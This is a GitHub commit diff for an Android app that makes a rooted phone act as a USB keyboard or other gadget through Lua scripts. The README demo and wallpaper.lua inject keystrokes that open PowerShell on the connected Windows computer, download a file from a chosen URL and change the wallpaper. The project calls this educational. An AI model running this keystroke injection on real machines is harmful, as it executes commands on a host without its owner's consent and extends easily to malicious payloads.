Skip to content

Commit 68a2503

Browse files
committed
app: annual refactoring
1 parent fa9ca48 commit 68a2503

36 files changed

+1271
-1253
lines changed

README.md

+47-42
Original file line numberDiff line numberDiff line change
@@ -4,8 +4,8 @@
44

55
**Use at your own risk. For educational purposes only.**
66

7-
An Android app that provides a simple Lua interface for enumerating and interfacing
8-
with arbitrary composite USB devices.
7+
An Android app that provides a simple Lua interface for creating and interfacing
8+
with arbitrary composite USB devices, allowing your phone to act as a USB device.
99

1010
**Root access is required.**
1111

@@ -14,69 +14,74 @@ with arbitrary composite USB devices.
1414
Download debug build artifacts from [the latest workflow run](https://github.com/Netdex/android-usb-script/actions).
1515

1616
## Demonstration
17-
18-
The best way to explain what this app does is with a code example. The following script
19-
does the following when interpreted by this app:
20-
17+
When interpreted by this app, the following script:
2118
1. Configures your phone to become a USB keyboard
2219
2. Sends a series of key presses to the computer your phone is plugged in to, changing
2320
its wallpaper
2421

2522
```lua
26-
-- create a USB composite device composed of a single keyboard
27-
usb = luausb.create({ id = 0, type = "keyboard" })
28-
kb = usb.dev[1]
23+
---
24+
--- Change Windows 10 desktop wallpaper
25+
---
26+
27+
require('common')
28+
29+
kb = luausb.create({ type = "keyboard" })
2930

30-
local file = prompt("Wallpaper to download?", "https://i.imgur.com/46wWHZ3.png")
31+
local file = prompt{
32+
message="Enter the URL of the wallpaper to download.",
33+
hint="Image URL",
34+
default="https://i.imgur.com/46wWHZ3.png"
35+
}
3136

3237
while true do
3338
print("idle")
3439

35-
-- wait for the phone to be plugged into a computer
36-
while usb.state() == "not attached" do
37-
wait(1000)
38-
end
39-
40+
-- wait for USB device to be plugged in
41+
wait_for_state('configured')
42+
-- wait for host to detect this USB device
43+
wait_for_detect(kb)
4044
print("running")
41-
wait(1000)
4245

43-
kb.chord(MOD_LSUPER, KEY_R) -- open Windows run dialog
44-
wait(2000) -- wait for it to open
45-
kb.string("powershell\n") -- open powershell
46+
kb:chord(MOD_LSUPER, KEY_R)
47+
wait(2000)
48+
kb:string("powershell\n")
4649
wait(2000)
47-
-- execute a script that downloads and changes the wallpaper
48-
kb.string("[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;" ..
49-
"(new-object System.Net.WebClient).DownloadFile('" .. file .. "',\"$Env:Temp\\b.jpg\");\n" ..
50-
"Add-Type @\"\n" ..
51-
"using System;using System.Runtime.InteropServices;using Microsoft.Win32;namespa" ..
52-
"ce W{public class S{ [DllImport(\"user32.dll\")]static extern int SystemParamet" ..
53-
"ersInfo(int a,int b,string c,int d);public static void SW(string a){SystemParam" ..
54-
"etersInfo(20,0,a,3);RegistryKey c=Registry.CurrentUser.OpenSubKey(\"Control Pan" ..
55-
"el\\\\Desktop\",true);c.SetValue(@\"WallpaperStyle\", \"2\");c.SetValue(@\"Tile" ..
56-
"Wallpaper\", \"0\");c.Close();}}}\n" ..
57-
"\"@\n" ..
58-
"[W.S]::SW(\"$Env:Temp\\b.jpg\")\n" ..
59-
"exit\n")
50+
kb:string("[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;" ..
51+
"(new-object System.Net.WebClient).DownloadFile('" .. file .. "',\"$Env:Temp\\b.jpg\");\n" ..
52+
"Add-Type @\"\n" ..
53+
"using System;using System.Runtime.InteropServices;using Microsoft.Win32;namespa" ..
54+
"ce W{public class S{ [DllImport(\"user32.dll\")]static extern int SystemParamet" ..
55+
"ersInfo(int a,int b,string c,int d);public static void SW(string a){SystemParam" ..
56+
"etersInfo(20,0,a,3);RegistryKey c=Registry.CurrentUser.OpenSubKey(\"Control Pan" ..
57+
"el\\\\Desktop\",true);c.SetValue(@\"WallpaperStyle\", \"2\");c.SetValue(@\"Tile" ..
58+
"Wallpaper\", \"0\");c.Close();}}}\n" ..
59+
"\"@\n" ..
60+
"[W.S]::SW(\"$Env:Temp\\b.jpg\")\n" ..
61+
"exit\n")
6062

6163
print("done")
62-
-- wait until the phone is unplugged
63-
while usb.state() == "configured" do
64-
wait(1000)
65-
end
64+
-- wait for USB device to be unplugged
65+
wait_for_state("not attached")
6666
end
6767
```
6868

69-
Several other sample scripts are
70-
[included in the repository](https://github.com/Netdex/android-usb-script/tree/master/app/src/main/assets/scripts).
69+
The following USB gadgets are currently supported:
70+
- Keyboard (keyboard)
71+
- Mouse (mouse)
72+
- Mass Storage (storage)
73+
74+
Built-in scripts can be run using the "Select Asset" menu item. You can run an external script using
75+
the "Load Script" menu item. New demo applications can be added to `assets/scripts`. The API is
76+
pretty much self-documenting, just look at the existing demos to get a feel for how the API works.
77+
Several other sample scripts
78+
are [included in the repository](https://github.com/Netdex/android-usb-script/tree/master/app/src/main/assets/scripts).
7179

7280
## Requirements
7381
**This app will not work on every Android device.** If your Android OS has Linux Kernel
7482
version >= 3.18 and is compiled with configfs and f_hid, then the app can try to create usb
7583
gadgets.
7684

77-
New demo applications can be added to `assets/scripts`. The API is pretty much self-documenting,
78-
just look at the existing demos to get a feel for how the API works.
79-
8085
## Troubleshooting
8186
### "Device Malfunctioned" on Windows 10
8287
There may be an incompatibility between the supported USB speed between the USB function and USB
@@ -90,5 +95,5 @@ Try setting SELinux to permissive mode by running `setenforce 0` as root.
9095

9196

9297
## Third-party
93-
- [libsuperuser](https://github.com/Chainfire/libsuperuser)
98+
- [libsu](https://github.com/topjohnwu/libsu)
9499
- [LuaJ](http://www.luaj.org/luaj/3.0/README.html)

app/build.gradle

+9-6
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,14 @@
11
apply plugin: 'com.android.application'
2+
apply plugin: 'org.jetbrains.kotlin.android'
23

34
android {
4-
compileSdk 34
5+
compileSdk 35
56
defaultConfig {
67
applicationId "org.netdex.androidusbscript"
78
minSdkVersion 26
8-
targetSdkVersion 34
9-
versionCode 121
10-
versionName '1.2.1'
9+
targetSdkVersion 35
10+
versionCode 122
11+
versionName '1.2.2'
1112
}
1213
buildTypes {
1314
release {
@@ -30,17 +31,19 @@ android {
3031

3132
dependencies {
3233
implementation 'androidx.core:core:1.13.1'
34+
implementation 'androidx.core:core-ktx:1.13.1'
35+
implementation 'androidx.appcompat:appcompat:1.7.0'
36+
3337
implementation 'com.google.android.material:material:1.12.0'
3438

39+
implementation 'com.jakewharton.timber:timber:5.0.1'
3540
implementation 'org.luaj:luaj-jse:3.0.1'
36-
implementation 'androidx.appcompat:appcompat:1.7.0'
3741

3842
implementation "com.github.topjohnwu.libsu:core:5.2.0"
3943
implementation "com.github.topjohnwu.libsu:service:5.2.0"
4044
implementation "com.github.topjohnwu.libsu:nio:5.2.0"
4145
implementation "com.github.topjohnwu.libsu:io:5.2.0"
4246

43-
implementation 'com.jakewharton.timber:timber:5.0.1'
4447
}
4548
repositories {
4649
mavenCentral()

app/proguard-rules.pro

+7-1
Original file line numberDiff line numberDiff line change
@@ -19,4 +19,10 @@
1919
# This is generated automatically by the Android Gradle plugin.
2020

2121
-dontwarn javax.script.**
22-
-keepnames class org.luaj.vm2.** {*; }
22+
-dontwarn org.apache.bcel.**
23+
24+
-dontobfuscate
25+
26+
# Do NOT optimize LuaJ or classes which serve as Lua API boundary
27+
-keep class org.luaj.vm2.** {*; }
28+
-keep class org.netdex.androidusbscript.lua.** {*; }

app/src/main/AndroidManifest.xml

+4-4
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111
android:theme="@style/AppTheme">
1212

1313
<activity
14-
android:name="org.netdex.androidusbscript.MainActivity"
14+
android:name=".MainActivity"
1515
android:exported="true"
1616
android:launchMode="singleInstance">
1717
<intent-filter>
@@ -21,15 +21,15 @@
2121
</activity>
2222

2323
<activity
24-
android:name="org.netdex.androidusbscript.SelectAssetActivity"
24+
android:name=".SelectAssetActivity"
2525
android:exported="true"
2626
android:label="@string/title_activity_select_asset"
2727
android:parentActivityName="org.netdex.androidusbscript.MainActivity" />
2828

2929
<service
30-
android:name="org.netdex.androidusbscript.service.LuaUsbService"
30+
android:name=".service.LuaUsbService"
3131
android:enabled="true"
32-
android:foregroundServiceType="specialUse"/>
32+
android:foregroundServiceType="specialUse" />
3333
</application>
3434

3535
</manifest>

app/src/main/assets/lib/common.lua

+1-1
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ end
1515

1616
function wait_for_state(state)
1717
while luausb.state() ~= state do
18-
wait(1000)
18+
wait(100)
1919
end
2020
end
2121

app/src/main/assets/scripts/composite.lua

+8-8
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,24 @@
11
---
2-
--- Composite device composed of two keyboards
3-
---
2+
--- Composite device composed of every suupported gadget
43
---
54

65
require('common')
76

8-
kb1, kb2 = luausb.create({ type = "keyboard" }, { type = "keyboard" })
7+
kb, ms, st, sl = luausb.create(
8+
{ type = "keyboard" },
9+
{ type = "mouse" },
10+
{ type = "storage" },
11+
{ type = "serial" }
12+
)
913

1014
while true do
1115
print("idle")
1216

1317
wait_for_state("configured")
14-
wait_for_detect(kb1)
18+
wait_for_detect(kb)
1519
print("running")
1620

17-
-- send a string from keyboard 1
18-
kb1:string("kb1")
1921
wait(1000)
20-
-- send a string from keyboard 2
21-
kb2:string("kb2")
2222

2323
print("done")
2424
wait_for_state("not attached")

app/src/main/assets/scripts/wallpaper.lua

+14-12
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,9 @@ local file = prompt{
1515
while true do
1616
print("idle")
1717

18-
-- poll until usb plugged in
18+
-- wait for USB device to be plugged in
1919
wait_for_state('configured')
20+
-- wait for host to detect this USB device
2021
wait_for_detect(kb)
2122
print("running")
2223

@@ -25,18 +26,19 @@ while true do
2526
kb:string("powershell\n")
2627
wait(2000)
2728
kb:string("[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;" ..
28-
"(new-object System.Net.WebClient).DownloadFile('" .. file .. "',\"$Env:Temp\\b.jpg\");\n" ..
29-
"Add-Type @\"\n" ..
30-
"using System;using System.Runtime.InteropServices;using Microsoft.Win32;namespa" ..
31-
"ce W{public class S{ [DllImport(\"user32.dll\")]static extern int SystemParamet" ..
32-
"ersInfo(int a,int b,string c,int d);public static void SW(string a){SystemParam" ..
33-
"etersInfo(20,0,a,3);RegistryKey c=Registry.CurrentUser.OpenSubKey(\"Control Pan" ..
34-
"el\\\\Desktop\",true);c.SetValue(@\"WallpaperStyle\", \"2\");c.SetValue(@\"Tile" ..
35-
"Wallpaper\", \"0\");c.Close();}}}\n" ..
36-
"\"@\n" ..
37-
"[W.S]::SW(\"$Env:Temp\\b.jpg\")\n" ..
38-
"exit\n")
29+
"(new-object System.Net.WebClient).DownloadFile('" .. file .. "',\"$Env:Temp\\b.jpg\");\n" ..
30+
"Add-Type @\"\n" ..
31+
"using System;using System.Runtime.InteropServices;using Microsoft.Win32;namespa" ..
32+
"ce W{public class S{ [DllImport(\"user32.dll\")]static extern int SystemParamet" ..
33+
"ersInfo(int a,int b,string c,int d);public static void SW(string a){SystemParam" ..
34+
"etersInfo(20,0,a,3);RegistryKey c=Registry.CurrentUser.OpenSubKey(\"Control Pan" ..
35+
"el\\\\Desktop\",true);c.SetValue(@\"WallpaperStyle\", \"2\");c.SetValue(@\"Tile" ..
36+
"Wallpaper\", \"0\");c.Close();}}}\n" ..
37+
"\"@\n" ..
38+
"[W.S]::SW(\"$Env:Temp\\b.jpg\")\n" ..
39+
"exit\n")
3940

4041
print("done")
42+
-- wait for USB device to be unplugged
4143
wait_for_state("not attached")
4244
end

0 commit comments

Comments
 (0)